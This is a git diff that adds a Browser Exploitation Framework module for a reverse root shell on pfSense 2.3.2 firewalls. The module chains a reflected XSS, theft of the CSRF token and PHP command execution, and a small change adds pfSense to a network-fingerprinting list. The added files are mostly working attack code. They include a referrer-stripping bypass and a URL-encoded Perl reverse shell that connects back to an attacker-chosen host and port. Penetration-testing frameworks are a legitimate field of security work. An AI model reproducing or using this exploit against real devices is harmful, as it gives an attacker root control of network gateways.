diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js new file mode 100644 index 000000000..351cd057c --- /dev/null +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js @@ -0,0 +1,31 @@ +// +// Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + var rhost = '<%= @rhost %>'; + var rport = '<%= @rport %>'; + var lhost = '<%= @lhost %>'; + var lport = '<%= @lport %>'; + var hook = beef.net.httpproto + "://" + beef.net.host + ":" + beef.net.port + "/x.js"; + + var target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone=">#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location); + + // Add dynamicaly the tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer). + beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis)."); + var meta = document.createElement('meta'); + meta.name = "referrer"; + meta.content = "no-referrer"; + document.getElementsByTagName('head')[0].appendChild(meta); + + // Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass) + // A full redirection is needed because pfSense disallow framing via X-frame-origin header... + // The current URL of the hooked page is sent via the payload to redirect back after few second + beef.debug("[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin)."); + document.location = target; + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=OK: Reverse shell should have been triggered.", beef.are.status_unknown()); +}); + diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml new file mode 100644 index 000000000..9ad39425c --- /dev/null +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + pfsense_2_3_2_reverse_root_shell_csrf: + enable: true + category: ["Exploits", "pfSense"] + name: "pfSense <= 2.3.2 Reverse Root Shell CSRF" + description: "Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.
Vulnerablity found and PoC provided by Yann CAM @ASafety / Synetis (demo video).
Patched in version 2.3.33." + authors: ["ycam"] + target: + working: ["FF"] diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb new file mode 100644 index 000000000..61490409e --- /dev/null +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb @@ -0,0 +1,28 @@ +# +# Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command + + def pre_send + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js') + end + + def self.options + configuration = BeEF::Core::Configuration.instance + lhost = "#{configuration.get("beef.http.host")}" + lhost = "" if lhost == "0.0.0.0" + return [ + { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254'}, + { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' }, + { 'name' => 'lhost', 'ui_label' => 'Local Host', 'value' => lhost}, + { 'name' => 'lport', 'ui_label' => 'Local Port', 'value' => '4444'} + ] + end + + def post_execute + BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js') + save({'result' => @datastore['result']}) + end +end diff --git a/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js new file mode 100644 index 000000000..2bc450651 --- /dev/null +++ b/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js @@ -0,0 +1,71 @@ +// Function Ajax without JQuery library +function ajax(url, method, data, async){ + method = typeof method !== 'undefined' ? method : 'GET'; + async = typeof async !== 'undefined' ? async : false; + if(window.XMLHttpRequest) + var xhReq = new XMLHttpRequest(); + else + var xhReq = new ActiveXObject("Microsoft.XMLHTTP"); + + if(method == 'POST'){ + xhReq.open(method, url, async); + xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); + xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); + xhReq.send(data); + } else { + if(typeof data !== 'undefined' && data !== null) + url = url+'?'+data; + xhReq.open(method, url, async); + xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); + xhReq.send(null); + } + var serverResponse = xhReq.responseText; + return serverResponse; +} + +var hash = window.location.hash.substring(1); +var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&")); +var splitlhostlport = lhostlport.split(":"); +var lhost = splitlhostlport[0]; +var lport = splitlhostlport[1]; +var redir = hash.substring(hash.indexOf("redir=")+6, hash.length); + +var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B'; + +// Function with AJAX request +// This function requests in GET an internal WebGUI page, which contains the token. +// Source code of this webpage is passed to the extractToken() function. +function loadToken(){ + var response = ajax('/diag_command.php'); + extractToken(response); +} + +// Function called after AJAX request in a defined page of the context, which contains the token value +function extractToken(response){ + // response var contains the source code of the page requested by AJAX + // Regex to catch the token value + var regex = new RegExp("",'gi'); + var token = response.match(regex); + token = RegExp.$1; + // Pass the token to the final function which make the CSRF final attack + makeCSRF(token); +} + +// Function with AJAX request +// The token var is needed to perform the right CSRF attack with the context referer +function makeCSRF(token){ + // Final CSRF attack with right referer (because executed in the context) + // and with right token captured above + var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token); + // Finally, redirect back to the intial hooked page + document.location=decodeURIComponent(redir); +} + +// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time +if (trigger){ +} else { + var trigger = function(){ + loadToken(); + }; + trigger(); +} diff --git a/modules/network/internal_network_fingerprinting/command.js b/modules/network/internal_network_fingerprinting/command.js index 267b97f7b..0d3a4dd88 100644 --- a/modules/network/internal_network_fingerprinting/command.js +++ b/modules/network/internal_network_fingerprinting/command.js @@ -240,6 +240,10 @@ beef.execute(function() { "pfSense", "443","https",false, "/themes/pfsense_ng/images/logo.gif",200,56), + new Array( + "pfSense CE <= 2.3.2", + "80","http",false, + "/logo.png",124,36), new Array( "Apache Tomcat", "8080","http",true,